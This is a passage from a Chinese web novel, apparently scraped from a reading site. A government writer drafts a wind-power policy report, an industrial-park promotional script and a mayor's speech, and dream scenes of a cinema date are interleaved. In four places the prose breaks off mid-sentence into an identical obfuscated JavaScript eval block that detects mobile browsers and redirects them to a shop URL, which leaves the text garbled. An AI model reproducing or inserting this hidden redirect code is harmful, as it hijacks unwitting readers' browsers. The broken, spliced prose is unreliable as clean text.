另外，今年年初，由于我国……地区受大面积雪灾影响，煤炭交通运输受阻，导致电力供应紧张，这也迫切要求我们大力开发风电产业，以保障国家在特殊时期的电力供应。因此，河陇省提出要把……走廊发展成为我国最大的风能产业带，不但符合国际潮流和国家产业政策，也充满着历史机遇。 二、河陇风电产业发展现状及存在的主要问题 河陇省委、省政府为了贯彻落实《可再生能源法》，实现风电自主化建设和风能资源的有序开发利用，支持风能资源评价、规划编制和风电产业体系建设工作，适时提出了“建设……‘风电走廊’，再造西部‘陆上三峡’”的战略目标，打造清洁能源大省。河陇省开发风电产业具有得天独厚的优势条件： 首先，风能资源丰富，开发前景广阔。据测算，河陇省风能资源总储量达……亿千瓦，占全国总储量的七成多，技术可开发量……万千瓦，可利用区域面积达……万平方公里，占全省总面积的……％，主要集中在……走廊和省内部分山口地区。尤其是位于我省……走廊最西端的……地区和滨河市西北部的北大川地区风能资源丰富、场地平坦、地形简单，适合成片开发，具备建设大型风电基地的条件。目前全省已建成……个风电场，总装机容量达……万千瓦，风电建设位于全国前列。根据国家要求和我省风电场建设条件，计划到……年和……年，我省风力发电装机容量分别达到……万千瓦和……万千瓦，而……万千瓦级风电基地建设项目今年将开工建设，这表明甘肃有望在……年内成为全国最大的风能产业带。 其次，地理条件优越，交通运输方便。……走廊是一个绵延……多公里的狭长地带，有大面积的荒漠可以利用，广布风电厂，可以减少同一地区季风变化带来的限制，形成“此起彼伏”的优势。另外，……铁路、国道……线横穿全境，加上有分布合理的电网格局，建设……走廊风能产业带不但交通运输方便，而且有风电并网的便利条件。 再者，气候条件适宜，效益产出明显。……走廊地处内陆，境内无台风、烟雾和大于……米/秒的破坏性风速，以及湿度较小等较好的气象条件，有利于风电场的安全运行；冬天极限低温不超过零下……摄氏度，适于风电机组的建设和全年平稳运行。这些优势条件都是其它省份无法相比的。 除了实质性开发外，河陇省还在为未来河西走廊风能产业带建设做了大量基础性工作。今年年初，我省在全国率先成立了“河陇省风力机工程技术研究中心”和“河陇省风能太阳能资源评估中心”，重点开展风能利用产业化工程实施过程中的关键技术攻坚和为风能资源开发提供科学依据。目前，我省已组织完成了《河陇省风能资源评价工作大纲》、《河陇省风场选址大纲》，并完成了《河陇省风能评估报告》、《河陇省风能资源详查和评估可研报告》等工作，这为河陇省风能资源开发打下了良好基础，也为风电场规划提供了重要的决策依据。 总的来看，经过多年努力，河陇风电产业已取得了长足发展，但仍存在诸多方面的制约因素，主要表现在三个方面：一是现有电网输配能力不足。我省风能资源丰富的……走廊位于河陇电网末端，远离负 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14250115|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 荷中心，电网网架薄弱，千万级风电基地建成后将对电网安全运行产生很大影响。二是风电技术研发和设备制造能力不强。虽然我省已成立了风力机工程技术研究中心，但由于我国风电设备制造一开始走的是一条从带料加工到合作生产或购买许可证国内组装的技术路线，没有及时系统地参与风电设备自主研发或技术引进消化吸收，致使风电技术的研发和制造能力远远不能满足风电产业发展需要，至今兆瓦级及以上风电设备尚未形成规模化生产能力，成为制约我省风电产业健康发展的重要因素。三是风电产业服务体系有待加强。目前，我省风电产业技术标准、产品认证、系统设计、工程管理等基础都比较薄弱，风能资源评价体系、宏观选址和微观选点技术深入研究不足。同时，由于大型风电场并网技术等研究工作实践经验少，研发工作滞后，致使风电产业服务体系尚不完善，这也是影响我省风电产业发展的一个重要因素。 三、河陇风电产业今后发展的重点及请求国家给予支持的建议 尽快建立包括设备制造、技术服务和人才培养在内的风电产业体系，是促进我省风电产业持续健康发展的重要条件。为了使风电真正成为能源的重要组成部分，风电的建设必须要与培育和发展风电产业体系相结合，加大政府引导和支持力度，充分发挥市场机制的作用，加快关键技术和大型装备的研究开发，全面提升风电建设的技术水平。在今后我省风电产业开发中，我们将重点抓好以下几方面的工作，并希望国家在资金、政策上给予大力扶持。 一是加强电网输配能力。目前，河陇已建成……个风电场，总装机容量达……万千瓦，……万千瓦级风电基地建设项目今年也将开工建设，发电量已远远超出了电网接受能力。因此，在研究加快风能资源开发的同时，我省将注重加快研究与其配套的电网输配问题。建议国家从整个西北地区大电网格局统盘考虑，加强电网改造，以促进我省风电产业的规模发展。 二是促进风电设备制造国产化。目前，制约我省风电产业发展的重要因素是技术研发和设备制造能力，但促进国内风电设备制造业的快速发展，不能简单地为了扩大风电规模而从国外大规模引进风电设备。为了解决这一问题，我国已在风电产业开发上采取将风电投资者与设备制造企业联合投标建设大型风电场的方式，旨在加速促进风电设备制造的国产化。我省也将依托滨河电机有限公司发展大型、专用、特种以及节能电机设备的成套技术，重点发展兆瓦级风力发电机及成套设备，将滨河电机有限公司建成全国风力发电装备制造的重点企业。下一步，建议国家在风电设备制造上制定更多的政策法规，为国内风电设备制造提供发展机遇和需求市场。 40. 第 40 章 第四十章写解说词 三是加快建立和完善风电产业服务体系。目前，制约我省风电产业发展的另一重要因素是缺乏风电技术人才，风能资源评价、风电场设计、并网运行管理等风电产业服务体系不健全，风电场建设的技术仍主要依靠国外提供。因此，我们将紧紧依托河陇省风力机工程技术研究中心和河陇省风能太阳能资源评估中心，切实为我省风能产业发展提供技术支撑，争取把河陇建成全国风机重大装备制造生产基地。建议国家进一步加快风电人才培养，在更多的、有条件的大学设立风电专业，培养风电技术人才。同时，认真研究整合国内现有资源，尽快建立国家风能资源评价和设计研究机构、风电并网技术研究机构，加强技术研究和服务能力，为今后风电产业的大规模发展创造条件。 四是严格落实促进风能产业发展的政策。由于我国风电产业尚处于发展的初期阶段，投资建设成本还比较高，特别是由于风能资源相对集中在西部地区，如果风电建设的高成本全部由西部地区承担，将难以促进风能产业的持续健康发展。因此，风电发展初始阶段必须有国家政策的引导与支持，包括支持风电技术研发的资金政策，鼓励风电发展的税收政策，风电运营的成本分摊政策。虽然《可再生能源法》提出国家设立专项资金支持可再生能源发展，明确可再生能源发电高于当地电网平均上网电价的部分在全国范围的销售电价中进行分摊，还要求国家有关部门要制定支持风电产业发展的投资税收和信贷优惠政策，但由于多方面的原因，目前这些宏观政策还没有得到全面落实。建议国家督促落实这些促进风电产业发展的政策，同时，制定更加优惠的扶持政策，否则将很难实现风电产业持续大规模的发展。” …… 达恩豪下午下班回家，吃过晚饭看完了电视，躺在床上睡觉，不觉间就迷迷糊糊的，啥都不知道了…… 这小伙儿感觉自己就站在兰原县的电影院门口，身边还有人青年女子，熟悉的环境，似曾相似，熟悉的面孔，似曾相识。 定睛观察间，小伙儿不禁脚下迟缓，一打愣神儿，身边的年轻女孩好像也有些二迷愣登地，一双世俗人，一对恋爱中的青年男女，一样傻不愣登，脚步踟躇蹒跚。 这时，在县电影门口的小广场和周围，也没有多少人，时常就有一个人，或者两个人进去。冷冷清清，与往日的热闹繁荣的场面相去甚远了。 这美女在电影院的大门口外面站住了，这是在等着这小伙儿出示他们俩的电影票，检票才能进入电影院观看影片。 这小伙儿马上就意识到了，赶紧掏出两联的花花绿绿的电影票，走过去递给站在电影院大门口的一个男检票员，这男检票员中等身高偏瘦，脸长，皮肤有些黑。 这男检票员，低头迅速扫一眼电影票，就抬头给这小伙儿，这小伙儿拿回票，就抬一只空着的手，牵着身旁边的这美女，赶紧把电影票装进了稳妥的衣兜里，边掀起半扇门帘边迈步走，这对异性年轻人，一并齐走进了这个电影院的大厅里。 “娃娃，让我看一下你的票啊？”听门外男检票员一伸手，挡住了想要进电影院大门的一个十几岁的小孩子，想乘机溜进去白看一场电影，那是办不到的，男检票员用质疑地口气这样问道。 这电影院里这时电影还没有开演，里面光线比较差，看不清里面的东西，只感觉是有人头人影晃动，五官面容看不清，边男女都分辨不清，更何况是皮肤颜色和喜怒哀乐的表情了。 放影大厅比一个篮球场还要大，左右两个长长的墙壁上，亮着一盏盏小瓦数的小灯泡子，只能看见模模糊糊，中间的向下缓缓倾斜的通道，约有两米左右宽，两边是一排一排缓缓向下倾斜的座椅。 这小伙儿引着这美女边走边站的，边低头找自己的座位在那排，排号和座号他早都记得滚瓜烂熟的。然后，边走边心里数着排号，到了自己的排号，引着这美女拐进长长一排座椅通道里，两个人一前一后侧身来到最中间的位置，这小伙儿拉这美女，坐在了自己身旁边紧挨着的座位上，最后，自己再落坐这美女旁边相连的座位上。 偌大一个电影院，满员能坐六百多人的放影大厅，这小伙儿转向扫一圈儿，就座了屈屈几十个人，放影厅稍靠前中心一圈儿，稀稀拉拉，显得冷冷清清。 随着一道光柱，从大门上方的放影洞口，向前倾斜着打到最前面的舞台上，悬挂着白色心黑皮钝角的银幕上，随之响起的音乐声，电影开始了。 这小伙儿这时，乘电影院里人们都在盯着银幕看电影，支楞着耳朵听电影声音，人也不多，这时周围的光线更暗了，墙壁上的小灯也灭了。这小伙儿就情不自禁，习惯性地，把靠这美女一边的一只手，去摸索着，摸一下这美女的小酥手。 这美女长眉细眼，正盯着前方的银幕看得正认真呢，被这小伙儿突然一摸，就像触电一样，从这小伙儿的大手里挣脱出来，轻轻地拍打了一下，这小伙儿伸过来的这只左手，把自己这只右手，放到了自己的右腿面上了。 …… “达处长，我老家向上县领导找我，滨河北大川空港产业园要拍个专题宣传片，市上领导也有这个意思，让我们帮助他们做个解说词，想来想去，还是你能行，其他人我不放心。”第二天早上，在单位上班时间，达恩豪接到金学盛打来的电话，让他过去主任办公室，到了领导房间，屁股刚一落坐，金学盛显得有些难肠地盯着达恩豪看，推一下眼镜开口了，就弯弯绕绕地这样对达恩豪说道。 “金主任，他们打算何时要材料去配解说词？”达恩豪皱一下眉头，习惯性地抬一只手连摸带挠地弄了一把头，微笑着对金学盛主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14258186|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 任这样问道，算是不明言就答应了领导安排布置他的这项工作任务。 “说是越快越好，片子早已拍出来了，就等配个好的解说词呢。我想这周内你就搞出来吧。”金学盛听达恩豪不推辞就答应了接受他的工作安排布置，心里很高兴，就也微笑着给达恩豪这样详细解释一番道。 “好的，金主任把宣传片视频和已经搞的解说词都拷给我，我去整。”达恩豪心想，金学盛念旧有家乡情结，这是好事，但坏了我呀，活得我来干，其他人都不干，终究还得自己干，就不如痛痛快快答应了，说不定领导还能偶尔想起你念你的好呢，命好的话还能天上年掉个馅饼，或者撞上个狗屎运，也说不上啊。 达恩豪从金学盛那儿把这宣传片下载到盘上，把先前搞的解说词也要上了一份，就回到自己的办公室里忙乎开了。先看了两遍宣传片，然后看了以前不知道是谁搞的解说词，感觉不是很好，又土里八几，又缺乏文采，没有多大参考价值。 经过四五天的闭门谢客，加班加点，熬灯费脑，增加内容，删减内容，压缩凝炼，几经琢磨，反复修改，到星期五下午下班前，达恩豪就写好了这个解说词。他共写了6页，约2700多字。他记得，大致内容如下： “向上—一方投资兴业的热土 ——滨河空港循环经济产业园专题片解说词 在神奇的河陇中部、美丽的黄河之滨、……走廊的东部门户，有一个具有两千多年悠久历史和灿烂文化的地方，这里有“河陇都江堰”之称的引河入北大川工程和“塞上明珠”……国家级森林公园。她，就是享有中国“玫瑰之乡”和“太平鼓故乡”美誉的向上县。改革开放尤其是西部大开发以来，向上经济和社会各项事业蓬勃发展，县域经济总量跃居甘肃省各县之首，在全省……个县（市）区中名列前茅，成为全省发展速度最快的县份，成为一片充满商机的投资兴业热土。 适逢西部大开发和社会主义新农村建设的机遇，历史，又一次把向上推到了经济发展的最前沿。 2006年2月初，为落实省委“发展抓项目”的战略部署，发挥滨河在西北地区东进西出、南伸北拓的发展优势，依托引河入北大川水利工程，实施“退城入园”和“退二进三”的产业结构调整政策，依托空港地区交通便利和引河入北大川工程综合效益等区域优势，打造滨河1小时城市经济圈，滨河市委、市政府提出抢抓发展机遇，建设滨河空港循环经济产业园的目标，由省、市、县三级联合打造滨河市对外开放、扩大发展的重要区域和全省经济新的增长极。 北大川空港产业园，以其特殊的地理区位、丰富的土地资源、便利的交通通讯、日臻完善的基础设施，成为理想的发展平台，成为国内外客商投资西部的首选之地，成为滨河市乃至河陇省的项目孵化发展基地。 41. 第 41 章 第四十一章甜蜜中心 园区的交通通讯条件得天独厚，十分便捷。产业园处于滨河、乌铁、青西区域经济和高速通道大三角中心位置，在西北五省区中具有“座中四联”的区位优势，距滨河市……公里，距乌铁市……公里，青西市……公里，陕安市……公里。滨宁、滨疆、滨青、乌滨高速公路和滨疆铁路紧邻产业园，在此构成了四通八达的交通网络，北大川国际航空港与全国……多个主要城市和……通航。使北大川成为欧亚"大陆桥"的重要连接点；以滨河为节点的国家四条主要数字光缆干线，为产业园提供畅通的通讯网络。 园区的土地富足而便利。产业园地处北大川灌区腹地北大川镇中心地带，……多万亩集中连片、平整宽广的土地资源极具开发价值，土层厚度较浅，土层下洪积沙砾层具有较高的力学强度，是工业与民用建筑的良好地基。北大川地区土地价格为滨河周边最低，使园区征用土地工作能够在较短时间内完成。 园区的资源质优而丰裕。年引水量达……亿立方米的引河入北大川工程及总量达……亿立方米的地下水，为产业园发展提供优质充足的水源；滨河地区电力资源相对充裕，黄河上游及支流……河丰富的水电资源，就近充裕便利的火电资源及空港产业园方圆……公里范围内的数座变电站，给企业提供充足的电力供应保障。途径产业园的“西气东输”管道，为企业生产生活提供充足的廉价能源；全市上百万富余劳动力及众多的大中专人才，可以满足企业不同层次的人才需求。 园区的政策和服务更加优惠、便利。滨河市委、市政府在土地、税收、企业退城入园和跟踪服务等方面制定了更加优惠的政策：税收方面，在享受国家制定政策的基础上，不仅企业所得税地方留成部分可享受……年的优惠，而且增值税也列支返还支持企业发展。各类企业在办理有关审批事项时，除工本费外，免收地方行政事业性收费。城市基础设施配套费、用水开户费和电力增容费一律执行“零费率”政策。对项目审批实行“一站式”全程代理和限时办结制度，重大项目实行一事一议、一企一策、急事急办、特事特办、难事帮办，简化项目审批程序和提高服务效率。近期，滨河市已经投入……万元对入驻项目实施“七通一平”工程，未来两年将投入……亿元进行产业园基础设施建设。 滨河空港循环经济产业园发展定位在生物技术、机械加工、汽车制造、精细化工、高新农业和商贸物流业及其高新技术项目。产业园总体规划控制面积为……平方公里，由机场控制区、北大川高科技农业示范基地、工业开发区、商贸核心区和预留控制区五部分组成。实际控制性详细规划面积为……平方公里，分别由生物医药、制造、农产品加工、电子信息和化工等五个功能区组成，各功能区因地制宜、布局合理、相互关联，具有较强的宏观调控和市场应变度。 产业园规划设计按照……年不落后的超前标准，充分体现了超前性、和谐性、科学性三大特点。预设了地铁、轻轨节点、火车站及红线宽度分别为……米、……米、……米的三级道路系统，排污管道、地下管网、地下揽线等城市基础设施一应俱全，产业园充分体现了“以人为本、天人合一、生态优先、生生不息”的科学理念，利用地块内自然元素水体设置公共绿地，形成点、线、面结合的绿地系统；利用引大灌区水、污水处理后的中水，形成减量化、再利用、资源化的中水循环系统，实现产业开发、生态建设与人居环境的和谐共居与科学发展。 向上县委、县政府按照省市“政府引导、市场机制、产学研结合”的市场运作模式，采取“园区举鼎，项目牵引”的超常规举措，积极配合省市开发建设及招商引资，吸引了一大批省内外知名企业落户园区。……年，总投资……亿元、联动投资……多亿元的……轿车滨河整车生产项目，签约入驻滨河空港循环经济产业园，实现了河陇省委常委、滨河□□……提出的“一年起好步”的目标，使滨河市市长常……“富规划，穷建设”，“边规划，边建设”的发展思路落到了实处。 向上县各级干部群众对……轿车项目的落户做出了最大限度的支持，……轿车项目所在地北大川镇……村移民毫无怨言地搬出了新居。县委县政府分管领导率领……多名县、乡、村、社干部，日夜奋战在施工现场，大年三十日仍坚守岗位，一周时间就完成了……轿车项目……亩的征地任务，一个月时间完成了征地拆迁及“三通一平”工作，其热情之高、速度之快，创造了令省市和入驻企业满意的“向上速度”。 一个个大展宏图的希望在这片热土上升腾。投资……亿元的……生物制药项目、投资……亿元的滨河大型石化关键高温高压合金阀门、投资……亿元的滨河矿灯厂整体搬迁项目、投资……万元的……变压器主机生产等项目的开工建设，投资……亿元的……重离子加速器等一大批项目的签约入园，逐步形成了以……轿车生产为主的制造产业，以……为主的生物医药，以北大川高科技示范园区为主的农产品加工，以滨炼精细石化园为主的化工产业，以高压阀门厂为主的电子信息及新材料产业。空港产业园正在成为河陇乃至西北最具吸引力、最具创造力、最具发展潜力的工业园。 滨河省经贸委正向国家发改委申报滨河高新技术产业开发区空港循环经济产业园的国家级试点，积极争取国家对产业园的支持。预计到……年产业园规划建设面积达……平方公里，基础设施建设投资……亿元以上，入驻项目达……家以上，年技工贸总收入达到……亿元，力争有世界500强和国内500强企业入园创业。随着产业的集聚和城镇建设的发展，一座由新型产业带动的卫星城必将腾飞于西部，古老而年轻的向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14267782|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上必将在西部崛起！ 一片热土谋事业，携手共进求发展。……万向上人民正以开放的姿态、优良的环境、优惠的条件、优质的服务，诚邀海内外八方客商前来投资置业，观光旅游，共谋发展，携手开创美好的明天。” …… 达恩豪下午下班回家，吃了老婆黄爱佳早就做好的晚饭，看完新闻联播，再追了两集电视续剧就休息了，每天都是加班加点写材料，没完没了，累得不行，他躺在床上很快就睡着了…… 这小伙儿打了个激灵，感觉四周漆黑一片，只有头顶有一光柱子，从脑袋后面射来，才清楚了过来，这不是在电影院吗，看这放影厅的环境，感觉有些熟悉，噢，对了，是兰原县电影院，我这是在看电影啊，想起来了一些。 微微偏头，眼睛稍稍一转，用眼睛余光看左面邻座，发现紧挨的座位上，这个美女怎么这么面熟。想起来了，是自己卖的电影票，相约这个旁边的美女来看电影。 为什么相约这美女来这里看电影，原来是自己正和紧挨的这美女谈恋爱，已经到了热恋阶段了。 这小伙儿脑海里也在放电影，自己和旁边这美女相识，相牵，相恋，相爱的一幕幕…… 眼前的银幕上红红的高粱地，这小伙儿看不进去，人物对话他听不进去，努力地在回忆自己的和身边美女的恋爱史，那相拥，相吻，相恋的画面就在眼前闪现…… “小达，你走神了？！”身旁的这美女看这小伙儿有点不对劲，目光迷离，神情晃惚，就把头微微向这小伙儿一靠，笑着说了一句这样戏谑玩笑的话。 “啊！……没有没有。”这小伙儿也是微微向左偏头，靠向这美女，回过神来，摇摆了两下头颅，这样回答身边的青年女孩子。 这时银幕上的电影故事，到了高潮阶段，红高粱地里青年男女拥抱在一起了…… 这小伙儿微微偏头，眼睛珠子在眼眶里一转，用眼睛的余光，向左向右这么一扫，电影院里坐着的观众们，脸上表情很诡异。 有的看上去目瞪口呆，神情紧张，好像很惊奇的样子。 有的看上去面红耳赤，神情激动，好像很兴奋的样子。 有的看上去裂嘴而笑，神情幸福，好像很享受的样子。 这时，这小伙儿的靠这美女一边的手，突然被人给抓住了，稍稍偏头眼球一转，眼睛余光向下一扫，是身旁这美女伸过来的小酥手。 这小伙儿赶紧翻手为云，握住了这美女的这只小酥手，立即又把另一只手覆盖了上去，来回地摸擦着。 感觉美女的小酥手，温暖而凉爽，细腻而玉润，绵软而光滑，这小伙儿幸福甜蜜得裂嘴而笑。 这美女这时再好的电影剧情，她也看不进去了，任由这小伙儿指腹轻轻地在手上摸擦，感觉心里痒痒地幸福，麻麻地甜蜜。 42. 第 42 章 第四十二章市长讲稿 干脆，这美女把头慢慢一偏，轻轻地就靠到了这小伙儿的肩膀上了，想去尽情享受这幸福甜蜜的时刻。 这小伙身子微微一僵，像触电一样地一颤抖，猛地过应过来了，迅速回应，想去抓住这幸福甜蜜的光阴，也乘势把头往往这美女这边一偏，也靠在这美女的头上了…… …… “达处长，全省研究室主任会议上常市长的讲话材料，你抓紧起草出来，第一稿要把良好的基础打下，后面好修改提高完善。”第二天下午，在单位上班，金学盛打电话把达恩豪喊过去，给他安排布置了这么个材料，让他去写。 “好的，金主任。”达恩豪这样回答金学盛道，拿着笔记本和笔，他回到经济发展研究处的房间，坐到自己的办公室桌椅间，开始忙乎。这一忙乎，就和往常一样，又加班加点地，整整干了四五天，才把这个材料初稿写出来了。 他写得这个材料共有12页，约6500多字，主要内容如下： “在全省市州政府研究室主任会议上的讲话 滨河市人民政府市长常…… （2008年……月……日） 尊敬的…… 各兄弟市州政府研究室的同志们、朋友们： 在……滨河最美好的季节，我们迎来了2008年全省市州政府研究室主任会议的如期召开！这次会议在滨河举办，体现了省政府研究室和兄弟市州政府对滨河的关心和支持。这里，我谨代表……滨河市委、滨河市政府，对各位领导、同志们、朋友们的到来表示热烈的欢迎和诚挚的感谢！ 全省市州政府研究室主任会议为我们提供了一次难得的学习与交流的机会，首先，我想借此机会，就滨河市的基本情况和近几年改革开放所取得的成就向大家作一介绍，也希望大家在今后能够更加关心和支持滨河的发展。 滨河市现辖……城区大河奔流，两山夹峙，享有“丝路重镇”、“黄河明珠”、“山水名城”和“水车之都”的美誉。建国五十多年特别是改革开放以来，滨河经济和社会各项事业蓬勃发展，综合经济实力进入全国大中城市50强，成为黄河上游重要的经济中心、……线经济带的重要支撑点和辐射源，为河陇和我国的现代化建设做出了重要贡献。 滨河是古丝绸之路的重镇。历史比较悠久，西汉时设立县治……隋初改置滨河总管府，始称滨河。汉唐以来，滨河作为控扼黄河天堑的重要古渡，以“屏障中原、联络西域、襟带万里”的地理区位优势，成为丝绸古道上的交通要津、军事要塞和商埠重镇，在沟通和促进中西经济文化交流中发挥了重要作用。滨河历经明……王藩都、清……滨河省会、清……总督署，……年正式设市，为西北地区第二个设市的城市。 滨河是黄河上游的璀璨明珠。作为……“一五”、“二五”和“三线”时期重点开发建设的城市，滨河具有得天独厚的综合区位、富集的矿产水能资源、方便快捷的交通通信、辐射西部的市场集散和实力雄厚的科技人才等比较优势，是我国西部重要的现代化中心城市，是国家重要的工业基地、西部交通通信枢纽、区域性商贸中心、科研教育基地和闻名全国的“瓜果城”，在西部大开发中发挥着支撑点和辐射源的作用。 滨河是蜚声中外的“山水城市”。地理位置处于我国陆域版图的几何中心，有“陆都心脏”之说。滨河是我国九曲黄河唯一穿城而过的省会城市，市区东西黄河中流，南北群山环抱，素有“黄河明珠”和“山水名城”的美誉。依河而建的百里黄河风情线，是全国最长的开放式公园。滨河水车作为古老的提水灌溉工具，见证了滨河沧桑巨变的历史进程，坐落在黄河之滨的滨河水车博览园，是世界水车文化丰富的主题公园，“水车之都”久负盛名。滨河“两山一水”的独特景观，使整个城市显得格外钟灵毓秀，充满生机和活力。 滨河是著名的文化旅游城市。古老的丝路文化、黄河文化和西北民族文化在这里集汇交融，呈现出丰富多彩的地域文化特色，留下了诸多名胜古迹。滨河有……土司衙门、明……王墓群和黄河铁桥等诸多人文与自然景观，也是连接……的丝绸之路大旅游区的中心，为全国优秀旅游城市。滨河牛肉面等特色饮食享誉国内外。“文化滨河”建设成就斐然，相继推出了一批文化精品杰作，……被誉为20世纪华人舞蹈经典，《又见莫高》被评为国家十大舞台艺术精品工程剧目。滨河太平鼓气势磅礴，享有“天下第一鼓”的美称。……杂志年销量超过1000万册，列华夏国和亚洲第一，居世界第四。 近年来，滨河以……为指导，把西部大开发与构建和谐社会紧密结合起来，按照“创业实干打硬仗，建设创业型城市”的工作部署，经济保持了持续、快速、健康发展，小康社会建设全面推进。滨河经济和社会发展取得了显著成效，国内生产总值在连续5年保持两位数增长的基础上，今年上半年全市实现生产总值…… 在新的历史发展时期，滨河将抢抓机遇，加快区域性现代化中心城市建设，经过今后五年或更长一个时期的努力，把滨河建设成为经济繁荣、社会文明、环境优雅、人民幸福、区位优势充分发挥、辐射带动能力逐步增强的区域性现代化中心城市。 下面，我重点就如何提高新形势下的调查研究能力，做好研究室的工作与大家交流一些认识和体会。 研究室作为政府的“参谋”和“左右手”，其工作性质，既不同于社科机构的学术理论研究，又不同于政府部门的具体业务操作，而是理论和实际结合，提出符合实际、有针对性和可操作性强的观点和建议。也就是说，调查研究是政府研究室的一项基本职责。那么，作为政府研究室的工作人员，应如何做好调查研究，才能胜任自己的工作呢？ 一、要提高认识，明确调查研究工作的重要性和必要性 调查研究是我们党一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14278080|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贯坚持的一项基本工作制度和工作方法，不论过去、现在，还是将来，做好调查研究工作对于我们的事业来说都十分重要而且必要。 搞好调查研究，是弘扬我们党优良传统的需要。……同志为调查研究优良传统的形成和发展作出了积极贡献，提出了“没有调查研究就没有发言权”的著名论断。……等都是其深入调查研究的典范之作，影响深远。……同志是调查研究的楷模，解放思想，实事求是的思想路线本身就包含和体现了调查研究的重要性。……同志强调：“坚持做好调查研究这篇文章，是我们的谋事之基、成事之道”；“没有调查研究就没有决策权。”现在，……总书记、……总理都十分重视调查研究工作，经常深入基层，身体力行地给我们做出了榜样。回顾……，我们什么时候重视调查研究，坚持理论和实践的统一，……的事业就顺利发展；什么时候忽视调查研究，主观主义与形式主义就会蔓延，就会造成工作失误，……事业就遭受损失。 搞好调查研究，是……要求我们抓住发展这个第一要务，以经济建设为中心，以人为本，实现全面、协调、可持续发展；需要我们既要突出重点，又要统筹兼顾；既要注重效率，又要兼顾公平；既要重视GDP，又要重视社会事业。这对我们的决策在更高层次、更宽领域、更大范围提出了更高要求。对此，我们更需要政府研究部门深入调查研究，踏实努力工作，才能掌握驾驭经济和社会发展全局的主动权。 搞好调查研究，是科学决策、民主决策的需要。坚持和搞好调查研究，是科学决策、民主决策的前提。当前，国际国内形势复杂，改革处于攻坚破难时期，社会经济结构发生深刻变化，经济成分、组织形式、就业方式、利益关系和分配形式日益多样化、复杂化，各种矛盾交织，各种思想碰撞，各种文化交融，新事物、新情况、新问题层出不穷。作为我们西部欠发达地区，有的问题和矛盾还体现得更为充分、更为集中、更为极端。这同过去相比，影响决策的因素增多，决策的风险增大，决策的信息需求量增加。面对纷繁复杂的局势，要实现决策的科学化、民主化，无疑会要求广纳民意、广集民智，无疑会给调查研究提出更高要求。 搞好调查研究，是转变作风的需要。我们工作中的一些偏差和失误，原因是多方面的，但与缺乏调查研究有直接关系。有的同志自认为情况熟悉，没有必要调查，拍脑袋决定，凭经验办事，往往事与愿违；有的调查研究走过场，“坐着车子转，隔着玻璃看”，走马观花；有的以视察、检查代替调查研究，听听汇报，浅尝辄止；有的调研报告成绩一大堆，问题一两点，建议一两条。凡此种种，归根到底是我们的政治思想素质还不适应新形势、新要求。调查研究要求我们既要“身入”，还要心入、深入；既要到工作突出的地方总结经验，挖掘典型，指导面上工作，还要到工作困难的地方剖析原因，寻找对策，谋求发展。这样，调查研究才能有所收获。 43. 第 43 章 第四十三章调查研究 二、要把握特点，突出调查研究工作的重点 特点是指事物体现的特有属性，是一些带有规律性的东西。实践过程中，如果我们把握特点，按照规律办事，在工作中体现鲜明特色，往往能够事半功倍；反之，则会事倍功半，甚至事与愿违。政府研究室的调查研究也是如此，主要呈现出以下一些特点： 政策性。政策和策略是……生命。我们开展调查研究，根本目的是要为领导做出正确决策提供服务。我们衡量政府研究室工作质量高低，关键要看有多少调研成果进入了决策，变成了政府的具体政策，以及这些决策和政策在实际工作中发挥的作用如何。可以说，政策性是调查研究最基本的特征。 科学性。调查研究是认识论，不是经验论；是唯物论，不是唯心论；是辩证法，不是形而上学；是全面的、发展的、联系的，不是片面的、孤立的、静止的。调查研究的过程要以科学的思想和理念作指导，运用科学的措施和方法，搜集素材，分析综合，抓住主要矛盾，透过现象看本质，得出科学结论，反映事物的发展规律或发展趋势。 时效性。调查研究必须要与政府中心工作合拍，同领导关注的问题同步，及时反映各界正当诉求，才能适应和满足决策需要。“文当其时，一字千金”。倘若时过境迁，极有可能空费思量。对多数的调研成果而言，时机因素至为重要，“生逢其时”才能“谋当其用。” 